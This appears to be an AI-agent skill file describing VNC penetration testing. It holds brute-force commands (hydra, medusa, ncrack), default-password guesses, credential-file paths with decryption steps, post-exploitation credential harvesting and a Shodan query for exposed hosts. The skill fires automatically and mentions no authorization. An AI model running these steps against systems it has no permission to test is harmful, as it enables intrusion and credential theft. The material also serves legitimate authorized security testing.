vnc-pentesting

$npx mdskill add wgpsec/AboutSecurity/vnc-pentesting

Penetrate VNC services by discovering, cracking, and exploiting.

  • Bypass authentication on exposed 5800 and 5900 ports.
  • Integrates Nmap, Metasploit, Hydra, and vncpwd tools.
  • Executes a five-phase decision tree from discovery to post-exploitation.
  • Delivers actionable exploits and decrypted credentials directly.
SKILL.md
.github/skills/vnc-pentestingView on GitHub ↗
---
name: vnc-pentesting
description: |
  VNC 服务(5900/5901 端口)渗透测试方法论。涵盖 VNC 服务发现、密码爆破、无认证访问、VNC 密码文件解密、已知漏洞利用。
  当 Agent 扫描发现 5800/5900/5901 端口开放、需要测试 VNC 认证强度、尝试无认证访问、或解密 VNC 密码文件时,触发此 Skill。
metadata:
  tags:
    - vnc
    - 远程桌面
    - 5900端口
    - vncviewer
  category: exploit/network-service
---

# VNC 渗透测试方法论 (5800/5900/5901)

## 深入参考

- VNC 枚举、密码解密、已知漏洞详细命令 -> 读 [references/vnc-techniques.md](references/vnc-techniques.md)

---

## 整体决策树

```
发现 5800/5900/5901 端口开放
├─ Phase 1: 服务发现
│   ├─ Nmap 脚本扫描 -> 版本信息 / 认证绕过检测 / 标题获取
│   ├─ 确定 VNC 实现 (RealVNC / TightVNC / UltraVNC / TigerVNC / x11vnc)
│   └─ 端口映射:
│       ├─ 5800/5801 -> HTTP Web 客户端 (Java Applet)
│       └─ 5900/5901 -> VNC 协议原生端口 (display :0 / :1)
├─ Phase 2: 认证测试
│   ├─ 无认证访问检测 (Metasploit vnc_none_auth)
│   │   ├─ 无密码 -> 直接连接 vncviewer
│   │   └─ 需要密码 -> 进入爆破
│   ├─ 密码爆破 (hydra / medusa / ncrack)
│   └─ 默认密码尝试
├─ Phase 3: 密码文件解密
│   ├─ 目标文件: ~/.vnc/passwd (Linux) / 注册表 (Windows)
│   ├─ VNC 密码使用 3DES 固定密钥加密 (已被逆向)
│   └─ 工具: vncpwd / vncpasswd.py
├─ Phase 4: 已知漏洞
│   ├─ RealVNC 认证绕过
│   ├─ UltraVNC 缓冲区溢出
│   └─ 特定版本 CVE 检索
└─ Phase 5: 后渗透
    ├─ 截屏 / 键盘记录
    ├─ 文件传输 (UltraVNC)
    └─ 反向 VNC 连接
```

---

## Phase 1: 服务发现

### 1.1 Nmap 枚举

```bash
# VNC 脚本扫描: 信息获取 + 认证绕过检测 + 标题获取
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
```

### 1.2 端口与显示号关系

| 端口 | 用途 | 说明 |
|------|------|------|
| 5800 | HTTP (display :0) | Java Web 客户端 |
| 5801 | HTTP (display :1) | Java Web 客户端 |
| 5900 | VNC (display :0) | 标准 VNC 端口 |
| 5901 | VNC (display :1) | 第二显示 |

---

## Phase 2: 认证测试

### 2.1 无认证访问检测

```bash
# Metasploit — 检测 VNC 是否允许无密码访问
msf> use auxiliary/scanner/vnc/vnc_none_auth
msf> set RHOSTS <IP>
msf> run
```

### 2.2 连接 VNC

```bash
# 直接连接 (无密码或已知密码)
vncviewer <IP>::5901

# 使用密码文件连接
vncviewer -passwd passwd.txt <IP>::5901
```

### 2.3 密码爆破

```bash
# hydra
hydra -s 5900 -P passwords.txt -t 4 vnc://<IP>

# medusa
medusa -h <IP> -u "" -P passwords.txt -M vnc -n 5900

# ncrack
ncrack -vv --user "" -P passwords.txt <IP>:5900
```

### 2.4 认证测试决策树

```
VNC 认证状态
├─ vnc_none_auth 成功
│   └─ 直接连接 -> vncviewer <IP>::5900
├─ 需要密码
│   ├─ 爆破 (hydra / medusa / ncrack)
│   ├─ 尝试常见默认密码: password, vnc, 123456, <hostname>
│   └─ 已从目标获取密码文件 -> Phase 3 解密
└─ 认证类型未知
    └─ vnc-info 脚本结果分析 -> 确定认证方式
```

---

## Phase 3: 密码文件解密

VNC 密码使用 **3DES 固定密钥** 加密,该密钥多年前已被逆向。只要获取到加密的密码文件即可解密。

### 3.1 密码文件位置

| 平台 | 路径 |
|------|------|
| Linux (通用) | `~/.vnc/passwd` |
| TightVNC (Windows) | `HKCU\Software\TightVNC\Server` (Password 值) |
| RealVNC (Windows) | `HKLM\SOFTWARE\RealVNC\vncserver` (Password 值) |
| UltraVNC (Windows) | `C:\Program Files\UltraVNC\ultravnc.ini` |

### 3.2 解密方法

```bash
# vncpwd — 解密 VNC 密码文件
# https://github.com/jeroennijhof/vncpwd
make
vncpwd <vnc password file>

# Python 替代方案
# https://github.com/trinitronx/vncpasswd.py
python vncpasswd.py -d <encrypted_password_hex>
```

### 3.3 密码文件获取路径

```
获取 VNC 密码文件
├─ 已获得目标文件系统访问
│   ├─ Linux -> cat ~/.vnc/passwd
│   └─ Windows -> reg query 注册表路径 / 读取 ini 文件
├─ 通过其他漏洞读取文件
│   ├─ LFI / 任意文件读取
│   └─ 备份文件下载
└─ 解密后
    └─ 使用明文密码连接 VNC
```

---

## Phase 4: 已知漏洞

### 4.1 漏洞检测决策树

```
VNC 版本已知
├─ RealVNC 4.1.0–4.1.1
│   └─ 认证绕过 (Nmap realvnc-auth-bypass 脚本可检测)
├─ UltraVNC < 1.2.1.7
│   └─ 多个缓冲区溢出 CVE
├─ LibVNCServer < 0.9.12
│   └─ CVE-2018-15127 (堆溢出)
├─ TigerVNC < 1.10.1
│   └─ CVE-2019-15691 至 CVE-2019-15695 (栈溢出/堆溢出)
└─ 通用检测
    └─ searchsploit vnc <version>
```

---

## Phase 5: 后渗透

### 5.1 利用已连接的 VNC

```
已成功连接 VNC
├─ 观察桌面内容 (密码、敏感文件、其他会话)
├─ 键盘输入命令执行
├─ 文件传输 (UltraVNC 支持)
├─ 截图取证
└─ 查找其他凭据
    ├─ 浏览器保存的密码
    ├─ SSH 密钥
    └─ 其他远程连接配置
```

---

## Shodan 搜索

```
port:5900 RFB
```
More from wgpsec/AboutSecurity